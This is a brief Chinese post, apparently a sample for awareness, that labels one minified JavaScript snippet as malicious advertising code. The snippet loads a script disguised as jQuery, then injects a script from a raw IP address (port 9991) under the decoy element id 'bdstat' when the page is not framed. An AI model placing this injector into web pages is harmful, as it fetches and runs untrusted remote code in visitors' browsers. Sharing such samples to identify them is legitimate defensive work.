一段恶意广告JS代码

(function(){o="http://....com/js/jquery-1.7.2.min.js?";sh="http://116.252.178.237:9991/ad.0.js?v=3.9411&sp=301&ty=dpc&sda_man=";w=window;d=document;function ins(s,dm,id){e=d.createElement("script");e.src=s;e.type="text/javascript";id?e.id=id:null;dm.appendChild(e);};p=d.scripts[d.scripts.length-1].parentNode;ins(o,p);ds=function(){db=d.body;if(db && !document.getElementById("bdstat")){if((w.innerWidth||d.documentElement.clientWidth||db.clientWidth)>1){if(w.top==w.self){ins(sh,db,"bdstat");}}}else{setTimeout("ds()",1500);}};ds();})();